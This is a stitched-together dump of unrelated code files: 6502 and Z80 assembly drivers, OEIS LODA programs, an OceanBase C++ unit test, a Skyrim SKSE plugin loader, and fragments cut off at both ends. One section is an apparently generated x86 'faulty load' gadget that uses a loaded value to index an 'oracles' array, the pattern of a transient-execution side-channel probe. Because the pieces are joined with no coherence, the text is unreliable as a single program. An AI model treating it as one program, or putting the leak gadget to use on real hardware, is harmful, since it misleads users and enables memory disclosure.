#include <Atom/Feature/ParamMacros/MapAllCommon.inl>
#include <Atom/Feature/ScreenSpace/DeferredFogParams.inl>
#include <Atom/Feature/ParamMacros/EndParams.inl>
}
} // namespace Render
} // namespace AZ
|
; A058649: a(n) = 2^(n-4)*n*(n+1)*(n^2+5*n-2).
; Submitted by Jon Maiga
; 0,1,18,132,680,2880,10752,36736,117504,357120,1041920,2939904,8067072,21618688,56770560,146472960,372113408,932511744,2308571136,5653135360,13707509760,32942063616,78525759488,185799278592,436627046400
mov $1,$0
trn $0,1
seq $0,84903 ; Binomial transform of positive cubes.
mul $0,$1
|
;
; DRIVER CODE FOR - ACIA MC6850
;
; EXTERNAL CONFIG NEEDED
; ACIA_START - start of the memory mapped registers of the ACIA
;
.alias ACIACTRL ACIA_START
.alias ACIASTAT ACIA_START
.alias ACIADATA ACIA_START+1
;
; initialize the ACIA
;
; initial setup of the ACIA
; should be called immediately after CPU reset
; the serial mode is given as paramerer in the accumulator
; f.i. #$16 for clk/64=28800 baud @ 1.8432MHz and 8N1
;
; @param A - mode for serial connection
;
; @return: --
.scope
acia_init:
pha ; save parameter to stack
lda #$03 ; master reset value
sta ACIACTRL ; masterreset
pla ; restore parameter
sta ACIACTRL ; set control register
rts ; finished
.scend
;
; send byte (blocking)
;
; wait until ACIA is ready to send, then send one byte and wait until the byte
; was sent by checking the DTRE Flag (bit 1 in the ACIA status register)
;
; @param A - the byte to sent
;
; @return -
.scope
acia_send_b:
pha ; save data to stack
pha ; save data to stack
lda #$02 ; bit to test
* bit ACIASTAT ; test status
beq - ; wait until ready to send
pla ; get data from stack
sta ACIADATA ; send byte
lda #$02 ; bit to test
* bit ACIASTAT ; test status
beq - ; wait until byte was sent
pla ; preserve character in A
rts ; return
.scend
;
; send byte (nonblocking)
;
; send one byte without checking
;
; @param A - the byte to sent
;
; @return -
.scope
acia_send:
sta ACIADATA ; send byte
rts ; return
.scend
;
; test if ACIA is ready to send
;
; ATTENTION: content of A is detroyed by this function
;
; @param -
;
; @return - set Z flag if ACIA is not ready to send
.scope
acia_ready2send:
lda #$02 ; test bit 1
and ACIASTAT ; set Z flag if bit 1 is 0
rts ; return
.scend
;
; test if a byte was received
;
; ATTENTION: content of A is detroyed by this function
;
; @param -
;
; @return - set Z flag if no data was received
.scope
acia_received:
lda #$01 ; test bit 0
and ACIASTAT ; set Z flag if bit 0 is 0
rts ; return
.scend
;
; read byte (blocking)
;
; ATTENTION: content of A is detroyed by this function
;
; @param -
;
; @return A - return the bytes that was received
.scope
acia_receive_b:
lda #$01 ; test bit 0
* bit ACIASTAT ;
beq - ; wait until byte was received
lda ACIADATA ; read byte
rts ; return
.scend
;
; read byte (nonblocking)
;
; ATTENTION: content of A is detroyed by this function
;
; @param -
;
; @return A - return the bytes that was received
.scope
acia_receive:
lda ACIADATA ; read byte
rts ; return
.scend
|
/**
* Copyright (c) 2021 OceanBase
* OceanBase CE is licensed under Mulan PubL v2.
* You can use this software according to the terms and conditions of the Mulan PubL v2.
* You may obtain a copy of Mulan PubL v2 at:
* http://license.coscl.org.cn/MulanPubL-2.0
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
* EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
* MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PubL v2 for more details.
*/
#define USING_LOG_PREFIX SHARE
#include <gtest/gtest.h>
#include <gmock/gmock.h>
#define private public
#include "lib/oblog/ob_log.h"
#include "lib/time/ob_time_utility.h"
#include "lib/random/ob_random.h"
#include "lib/container/ob_array.h"
#include "lib/container/ob_array_iterator.h"
#include "lib/allocator/page_arena.h"
#define private public
#define protected public
#include "share/schema/ob_schema_utils.h"
#include "share/inner_table/ob_inner_table_schema.h"
#include "schema_test_utils.h"
namespace oceanbase {
using namespace common;
namespace share {
namespace schema {
class TestSchemaUtils : public ::testing::Test {
public:
virtual void SetUp();
private:
};
void TestSchemaUtils::SetUp()
{}
TEST_F(TestSchemaUtils, UNDER_SYS_TENANT)
{
ASSERT_TRUE(UNDER_SYS_TENANT(combine_id(1, 1)));
ASSERT_FALSE(UNDER_SYS_TENANT(combine_id(2, 1)));
}
TEST_F(TestSchemaUtils, IS_TENANT_SPACE)
{
bool res = false;
for (int64_t i = 0; i < ARRAYSIZEOF(tenant_space_tables); ++i) {
uint64_t tid = tenant_space_tables[i];
ASSERT_TRUE(is_tenant_table(combine_id(1, tid)));
}
for (int64_t i = 0; i < ARRAYSIZEOF(tenant_space_tables); ++i) {
uint64_t tid = tenant_space_tables[i];
ASSERT_TRUE(is_tenant_table(combine_id(2, tid)));
}
res = is_tenant_table(combine_id(1, 1));
ASSERT_TRUE(!res);
res = is_tenant_table(combine_id(1, 100));
ASSERT_TRUE(!res);
res = is_tenant_table(combine_id(1, 50001));
ASSERT_TRUE(!res);
}
TEST_F(TestSchemaUtils, alloc_schema)
{
int ret = OB_SUCCESS;
ObTableSchema table_schema;
table_schema.set_tenant_id(1);
table_schema.set_table_id(combine_id(1, 1));
table_schema.set_database_id(combine_id(1, 1));
table_schema.set_table_name("table_name");
ObArenaAllocator allocator;
ObTableSchema* new_table_schema = NULL;
ret = ObSchemaUtils::alloc_schema(allocator, table_schema, new_table_schema);
ASSERT_EQ(OB_SUCCESS, ret);
ASSERT_TRUE(NULL != new_table_schema);
ASSERT_TRUE(SchemaTestUtils::equal_table_schema(table_schema, *new_table_schema));
ASSERT_EQ(new_table_schema->allocator_, &allocator);
}
TEST_F(TestSchemaUtils, alloc_new_var)
{
int ret = OB_SUCCESS;
ObTableSchema table_schema;
table_schema.set_tenant_id(1);
table_schema.set_table_id(combine_id(1, 1));
table_schema.set_database_id(combine_id(1, 1));
table_schema.set_table_name("fsdfds");
ObArenaAllocator allocator;
ObTableSchema* new_table_schema = NULL;
ret = ObSchemaUtils::alloc_new_var(allocator, table_schema, new_table_schema);
ASSERT_EQ(OB_SUCCESS, ret);
ASSERT_TRUE(NULL != new_table_schema);
ASSERT_TRUE(SchemaTestUtils::equal_table_schema(table_schema, *new_table_schema));
ASSERT_NE(new_table_schema->allocator_, &allocator);
}
TEST_F(TestSchemaUtils, deep_copy_schema)
{
int ret = OB_SUCCESS;
ObTableSchema table_schema;
table_schema.set_tenant_id(1);
table_schema.set_table_id(combine_id(1, 1));
table_schema.set_database_id(combine_id(1, 1));
table_schema.set_table_name("fsdfds");
ObTableSchema* new_table_schema = NULL;
ret = ObSchemaUtils::deep_copy_schema(NULL, table_schema, new_table_schema);
ASSERT_EQ(OB_INVALID_ARGUMENT, ret);
char* buf = new char[table_schema.get_convert_size() + sizeof(ObDataBuffer)];
ret = ObSchemaUtils::deep_copy_schema(buf, table_schema, new_table_schema);
ASSERT_EQ(OB_SUCCESS, ret);
ASSERT_TRUE(NULL != new_table_schema);
ASSERT_TRUE(SchemaTestUtils::equal_table_schema(table_schema, *new_table_schema));
}
} // namespace schema
} // namespace share
} // namespace oceanbase
int main(int argc, char** argv)
{
oceanbase::common::ObLogger::get_logger().set_log_level("INFO");
OB_LOGGER.set_file_name("test_schema_utils.log", true);
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
|
#include "Hooks.h"
#include "Settings.h"
#include "version.h"
extern "C" DLLEXPORT bool SKSEAPI SKSEPlugin_Query(const SKSE::QueryInterface* a_skse, SKSE::PluginInfo* a_info)
{
#ifndef NDEBUG
auto sink = std::make_shared<spdlog::sinks::msvc_sink_mt>();
#else
auto path = logger::log_directory();
if (!path) {
return false;
}
*path /= Version::PROJECT;
*path += ".log"sv;
auto sink = std::make_shared<spdlog::sinks::basic_file_sink_mt>(path->string(), true);
#endif
auto log = std::make_shared<spdlog::logger>("global log"s, std::move(sink));
#ifndef NDEBUG
log->set_level(spdlog::level::trace);
#else
log->set_level(spdlog::level::info);
log->flush_on(spdlog::level::info);
#endif
spdlog::set_default_logger(std::move(log));
spdlog::set_pattern("%s(%#): [%^%l%$] %v"s);
logger::info(FMT_STRING("{} v{}"), Version::PROJECT, Version::NAME);
a_info->infoVersion = SKSE::PluginInfo::kVersion;
a_info->name = Version::PROJECT.data();
a_info->version = Version::MAJOR;
if (a_skse->IsEditor()) {
logger::critical("Loaded in editor, marking as incompatible"sv);
return false;
}
const auto ver = a_skse->RuntimeVersion();
if (ver <
#ifndef SKYRIMVR
SKSE::RUNTIME_1_5_39
#else
SKSE::RUNTIME_VR_1_4_15
#endif
) {
logger::critical(FMT_STRING("Unsupported runtime version {}"sv), ver.string());
return false;
}
return true;
}
extern "C" DLLEXPORT bool SKSEAPI SKSEPlugin_Load(const SKSE::LoadInterface* a_skse)
{
logger::info("loaded");
SKSE::Init(a_skse);
const auto& settings = Settings::GetSingleton();
settings->Load();
SKSE::AllocTrampoline(56);
Hooks::Install();
return true;
}
|
; Copyright (c) 2015 Jeremy Dilatush
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY JEREMY DILATUSH AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
; TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JEREMY DILATUSH OR CONTRIBUTORS
; BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; For testing my 6502 based "VTJ-1" platform: test serial RX. Contains
; some infrastructure for handling IRQs, but doesn't actually have any
; IRQs to handle.
; Intended assembler: "crasm"
cpu 6502
code
; Basic system info
RAMBASE = $0000 ; start of general purpose RAM
RAMTOP = $0800 ; byte after the last one of general purpose RAM
ROMBASE = $c000 ; start of ROM
LEDOUT = $b280 ; write LED state
SER_BASE = $b800 ; base of serial port registers
SER_INFO = $0 ; offset of serial port information byte
SER_TX = $1 ; register to transmit a byte
SER_RX = $2 ; register to receive a byte
SER_ST = $3 ; register to query device status
SER_TA = $4 ; transmit control byte A
SER_TB = $5 ; transmit control byte B
SER_RA = $6 ; receive control byte A
SER_RB = $7 ; receive control byte B
SER_LBL = $10 ; start of an ASCIIZ label
ICTL_ENA0 = $b000 ; interrupt control: enable slot 0-7 alpha IRQs
ICTL_ENA1 = $b001 ; interrupt control: enable slot 8-15 alpha IRQs
ICTL_ENB0 = $b008 ; interrupt control: enable slot 0-7 beta IRQs
ICTL_ENB1 = $b009 ; interrupt control: enable slot 8-15 beta IRQs
ICTL_PEA0 = $b040 ; interrupt control: pending slot 0-7 alpha IRQs
ICTL_PEA1 = $b041 ; interrupt control: pending slot 8-15 alpha IRQs
ICTL_PEB0 = $b048 ; interrupt control: pending slot 0-7 beta IRQs
ICTL_PEB1 = $b049 ; interrupt control: pending slot 8-15 beta IRQs
ICTL_PEPR = $b080 ; interrupt control: highest priority pending IRQ
TIMER = $b0c0 ; timer built into the system controller on slot zero
; other constants and addresses
MYBASE = $fc00 ; start of this program's part of ROM
; Zero page addresses
; System services use addresses from $00 up. Loaded programs, and the
; bootloader itself, should allocate addresses from $ff downward, so they
; don't interfere.
systmp = $00 ; temporary use: 4 bytes
baudmode = $04 ; speed mode (0, 1, 2) cycles upon reset - 1200/9600/115.2k baud
baudcode = $05 ; serial port speed setting value, derived from spmode
parm1 = $06 ; two byte parameter pointer, used by txstr()
prgtmp = $fb ; 4 bytes - temporary use
number = $ff ; 1 byte - number read from the user
; And now the program.
* = MYBASE
main = *
; This is the main program, the part that runs with interrupts enabled
; (mostly). Eventually it's going to be a bootloader or something fancy
; like that, but for now it's just a test program for serial port RX/TX.
;
; It reads lines from the input and processes them. For each line it
; prints a prompt, "ENTER>". In reading the line it takes the following
; characters as having meaning:
; digits 0-9 -- these make up a decimal number
; letter 'l' or 'L' -- put the preceding number on the LEDs
; letter 'c' or 'C' -- take the preceding number as a character
; code and print it
; letter 'n' or 'N' -- perform bitwise NOT on the number
; other - results in '?' being printed
; CR -- ignored
; LF -- ends the line
; Handling a line. First, print the prompt
lda #prompt_string&$ff
sta parm1
lda #prompt_string>>8
sta parm1+1
jsr txstr
; Now, initialize the number to zero
lda #0
sta number
; Now process characters one at a time
main__charloop = *
jsr rxchar ; get a character
cmp #13
beq main ; CR - ignore, but print the prompt
cmp #10
beq main__charloop ; LF - ignore
cmp #48
bmi main__notdigit
cmp #58
bpl main__notdigit
; it's a digit - put it into 'number'
; by multiplying the number by 10 + adding the digit
sec
sbc #48 ; convert from ASCII to digit value
pha ; store it for later
asl number ; number*2
lda number
asl a ; number*4
asl a ; number*8
clc
adc number ; number*10
sta number
clc
pla ; get the digit value back
adc number ; number*10+digitval
sta number
; that digit's been handled, do another character
jmp main__charloop
main__notdigit = *
; so, the character is not a digit; assume it's a letter, and
; convert it to lower case.
ora #$20
; and see what letter it is
cmp #'l'
beq main__leds
cmp #'c'
beq main__char
cmp #'n'
beq main__not
; unknown letter: just print '?' and get another
lda #'?'
jsr txchar
jmp main__charloop
main__leds = *
; display the current number on the LEDs
lda number
sta LEDOUT
main__blankrep = *
lda #0 ; and blank the number
sta number
jmp main__charloop ; and do another number
main__char = *
; write out the current number as a character
lda number
jsr txchar
jmp main__blankrep ; and blank number & do another char
main__not = *
; flip every bit of the number
lda number
eor #$ff
sta number
jmp main__charloop ; and do another char
prompt_string = *
db 13, 10
asc "ENTER"
db '>'|$80
baud_tbl = *
; baud rates to go with the three baudmode values
db $18 ; 1200 baud
db $15 ; 9600 baud
db $03 ; 115.2 kbaud
baud_led_tbl = *
; LED patterns to indicate the current baud rates
db 1 ; on/off/off indicating 1200 baud
db 3 ; on/on/off indicating 9600 baud
db 5 ; on/off/on indicating 115.2 kbaud
reset = *
; Here's where the code will be when reset is done.
; disable interrupts until we've got it all set up
sei
; initialize devices
jsr serial_init ; initialize the serial port
; enable interrupts
cli
; run main program
jmp main
serial_init = *
; initialize the serial port on slot 8
; figure out what speed we're going to use; it cycles with every reset
; It's in 'baudmode', value 0 - 2.
inc baudmode
lda baudmode
cmp #3
bmi serial_init__got_baudmode ; no need to wrap around
lda #0 ; wrap around to zero
sta baudmode
serial_init__got_baudmode = *
tax
lda baud_tbl,x ; look up the corresponding baud speed code
sta baudcode
lda baud_led_tbl,x ; and the LED pattern to let the user know about it
sta LEDOUT
; initialize the serial port device
lda baudcode
sta SER_BASE+SER_TA ; set the baud rate
sta SER_BASE+SER_RA ; set the baud rate
lda #$30
sta SER_BASE+SER_TB ; set to 8n2 (compatible with 8n1)
lda #$20
sta SER_BASE+SER_RB ; set to 8n1
; Enable the serial port's interrupts. For now, the serial port
; handling isn't interrupt driven, but in the future it might be.
;; lda ICTL_ENA1
;; eor #1
;; sta ICTL_ENA1 ; alpha interrupt: when RX possible
;; lda ICTL_ENB1
;; eor #1
;; sta ICTL_ENB1 ; beta interrupt: when TX possible
rts
txstr = *
; txstr()
; Routine to transmit a string on the serial port in slot 8.
; Takes a pointer to the string in 'parm1'; expects the final character
; if the string to be identified by a high bit of '1'.
; Messes with registers A & Y; leaves X alone.
ldy #0
txstr__loop = *
lda (parm1),y ; read the next character
bmi txstr__loop_last ; branch if it's the last character
jsr txchar ; transmit the character
iny ; and move on to the next one
bne txstr__loop ; (nearly) always takes the branch
txstr__loop_last = *
; the accumulator holds the last character, with its high bit set
and #$7f ; transmit it without its high bit set
jsr txchar
rts ; and done
txchar = *
; txchar()
; Routine to transmit a byte on the serial port in slot 8.
;
; Call it with the byte in the accumulator; doesn't alter any
; registers.
;
; In the future it might have a buffer and an interrupt handler, but
; for now it just waits until it is safe to go.
pha ; stash the byte value for later
txchar__loop = *
; check for availability of space in the serial device's buffer
; which is indicated by its beta IRQ
lda ICTL_PEB1
ror a ; get bit 0 into carry
bcc txchar__loop ; not ready
; it's ready; write the byte
pla
sta SER_BASE+SER_TX
rts ; done
rxchar = *
; rxchar()
; Routine to receive a byte on the serial port in slot 8.
;
; Returns with either:
; . the received byte value, in the accumulator; carry flag is clear
; . some exception value, in the accumulator; carry flag is set
;
; Doesn't mangle any other registers.
;
; In the future it might have a buffer and an interrupt handler, but
; for now it just waits until it is safe to go.
; check for availability of a character or exception in the serial
; device's buffer, which is indicated by its alpha IRQ
lda ICTL_PEA1
ror a ; get bit 0 into carry
bcc rxchar ; not ready
; it's ready; receive a byte or exception
lda SER_BASE+SER_ST ; serial status byte
ror a ; get bit 0 into carry
lda SER_BASE+SER_RX ; byte or exception received
sta SER_BASE+SER_RX ; remove it from the buffer to make room for another
rts ; done
irq_or_brk = *
; Handler for two interrupts: IRQ and BRK
; save registers (based on Commodore 64 ROM)
pha
txa
pha
tya
pha
; check for BRK (based on Commodore 64 ROM)
tsx
lda $0104,x
and #$10
beq irq ; it's IRQ, and not BRK
; This is the interrupt handler for BRK.
lda #'B' ; for now unsupported
jmp panic
irq = *
; This is the handler for an IRQ. Figures out what the highest
; priority pending interrupt is, and calls its handler.
lda ICTL_PEPR
bpl irq__really
; Turns out no IRQ was waiting after all. Return from the
; interrupt handler. (based on Commodore 64 ROM)
pla
tay
pla
tax
pla
rti
irq__really = *
; Accumulator register has the number (0-31) of the IRQ that's pending.
asl a
tax
lda irq_tbl,x
sta systmp
lda irq_tbl+1,x
sta systmp+1
jmp (systmp)
irq_tbl = *
; IRQ dispatch table. Has 32 entries, for the 32 IRQs supported by the
; interrupt controller. Each interrupt handler should end with
; 'jmp irq' to handle any more pending interrupts.
dw unimplemented_irq ; slot 0 alpha interrupt (timer)
dw unimplemented_irq ; slot 1 alpha interrupt (video, row data)
dw unimplemented_irq ; slot 2 alpha interrupt (GPIO, unused IRQ)
dw unimplemented_irq ; slot 3 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 4 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 5 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 6 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 7 alpha interrupt (timing tester, unused IRQ)
dw unimplemented_irq ; slot 8 alpha interrupt (serial port, RX possible)
dw unimplemented_irq ; slot 9 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 10 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 11 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 12 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 13 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 14 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 15 alpha interrupt (empty slot)
dw unimplemented_irq ; slot 0 beta interrupt (system control, unused IRQ)
dw unimplemented_irq ; slot 1 beta interrupt (video, unused IRQ)
dw unimplemented_irq ; slot 2 beta interrupt (GPIO, unused IRQ)
dw unimplemented_irq ; slot 3 beta interrupt (empty slot)
dw unimplemented_irq ; slot 4 beta interrupt (empty slot)
dw unimplemented_irq ; slot 5 beta interrupt (empty slot)
dw unimplemented_irq ; slot 6 beta interrupt (empty slot)
dw unimplemented_irq ; slot 7 beta interrupt (timing tester, unused IRQ)
dw unimplemented_irq ; slot 8 beta interrupt (serial port, TX possible)
dw unimplemented_irq ; slot 9 beta interrupt (empty slot)
dw unimplemented_irq ; slot 10 beta interrupt (empty slot)
dw unimplemented_irq ; slot 11 beta interrupt (empty slot)
dw unimplemented_irq ; slot 12 beta interrupt (empty slot)
dw unimplemented_irq ; slot 13 beta interrupt (empty slot)
dw unimplemented_irq ; slot 14 beta interrupt (empty slot)
dw unimplemented_irq ; slot 15 beta interrupt (empty slot)
unimplemented_irq = *
; Handler for an IRQ that doesn't have a handler; it shouldn't have been
; enabled and it shouldn't have happened.
lda #'J'
jmp panic
nmi = *
; Handler for NMI, which this architecture shouldn't ever generate.
lda #'N'
jmp panic
panic = *
; panic(): Call this function when you have an unrecoverable fatal
; error. You can call it with interrupts disabled or enabled.
; It takes the error code in the accumulator, and displays it on
; the LEDs and sends it out the serial port.
; It never returns.
sei ; disable interrupts
pha ; save the accumulator (panic code) for later
lda LEDOUT ; set the final two LEDs
ora #$18
sta LEDOUT
lda baudcode ; reinitialize the serial port (TX only)
sta SER_BASE+SER_TA
lda #$30
sta SER_BASE+SER_TB ; 8n2
clc
pla ; retrieve the saved accumulator (panic code)
panic__loop = *
sta SER_BASE+SER_TX ; put it in the output FIFO whether or not it's empty
bcc panic__loop ; branch always taken
* = $fffa
dw nmi ; NMI vector (shouldn't run - no sources of NMI)
dw reset ; reset vector
dw irq ; IRQ/BRK vector
|
; ***************************************************************************************
; ***************************************************************************************
;
; Name : paging.asm
; Author : paul@robsons.org.uk
; Date : 15th November 2018
; Purpose : Paging Manager
;
; ***************************************************************************************
; ***************************************************************************************
; ********************************************************************************************************
;
; Initialise Paging, set current to A
;
; ********************************************************************************************************
PAGEInitialise:
nextreg $56,a ; switch to page A
inc a
nextreg $57,a
dec a
ex af,af' ; put page in A'
ld hl,PAGEStackBase ; reset the page stack
ld (PAGEStackPointer),hl
ret
; ********************************************************************************************************
;
; Switch to a new page A
;
; ********************************************************************************************************
PAGESwitch:
push af
push hl
push af ; save A on stack
ld hl,(PAGEStackPointer) ; put A' on the stack, the current page
ex af,af'
ld (hl),a
inc hl
ld (PAGEStackPointer),hl
pop af ; restore new A
nextreg $56,a ; switch to page A
inc a
nextreg $57,a
dec a
ex af,af' ; put page in A'
pop hl
pop af
ret
; ********************************************************************************************************
;
; Return to the previous page
;
; ********************************************************************************************************
PAGERestore:
push af
push hl
ld hl,(PAGEStackPointer) ; pop the old page off
dec hl
ld a,(hl)
ld (PAGEStackPointer),hl
nextreg $56,a ; switch to page A
inc a
nextreg $57,a
dec a
ex af,af' ; put page in A'
pop hl
pop af
ret
|
; A022815: Number of terms in 5th derivative of a function composed with itself n times.
; 1,7,23,55,110,196,322,498,735,1045,1441,1937,2548,3290,4180,5236,6477,7923,9595,11515,13706,16192,18998,22150,25675,29601,33957,38773,44080,49910,56296,63272,70873,79135,88095,97791,108262,119548,131690,144730,158711,173677,189673,206745,224940,244306,264892,286748,309925,334475,360451,387907,416898,447480,479710,513646,549347,586873,626285,667645,711016,756462,804048,853840,905905,960311,1017127,1076423,1138270,1202740,1269906,1339842,1412623,1488325,1567025,1648801,1733732,1821898,1913380
add $0,1
mov $3,1
lpb $0
add $4,$3
add $2,$4
add $1,$2
add $2,$0
sub $0,1
add $3,1
lpe
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r8
push %rbx
push %rcx
lea addresses_UC_ht+0x15a4, %rcx
clflush (%rcx)
nop
nop
nop
add %r12, %r12
movb $0x61, (%rcx)
nop
nop
sub %r8, %r8
lea addresses_normal_ht+0x17de4, %rbx
nop
cmp $57512, %r10
mov $0x6162636465666768, %r8
movq %r8, (%rbx)
nop
nop
nop
nop
and $30750, %r8
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r8
push %rax
push %rcx
push %rdx
// Store
mov $0x6abb990000000924, %r8
nop
nop
add $26935, %r12
mov $0x5152535455565758, %rax
movq %rax, %xmm1
movntdq %xmm1, (%r8)
nop
nop
nop
nop
sub $32218, %r8
// Store
mov $0x6abb990000000924, %r10
clflush (%r10)
nop
nop
nop
nop
nop
cmp $59781, %r13
mov $0x5152535455565758, %rax
movq %rax, (%r10)
sub %r8, %r8
// Faulty Load
mov $0x6abb990000000924, %rdx
nop
nop
nop
sub %rcx, %rcx
movups (%rdx), %xmm6
vpextrq $1, %xmm6, %r12
lea oracles, %rax
and $0xff, %r12
shlq $12, %r12
mov (%rax,%r12,1), %r12
pop %rdx
pop %rcx
pop %rax
pop %r8
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': True, 'congruent': 6}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
/*
* Copyright (c) 2020, Tom Lebreux <tomlebreux@hotmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/Base64.h>
#include <AK/String.h>
#include <string.h>
TEST_CASE(test_decode)
{
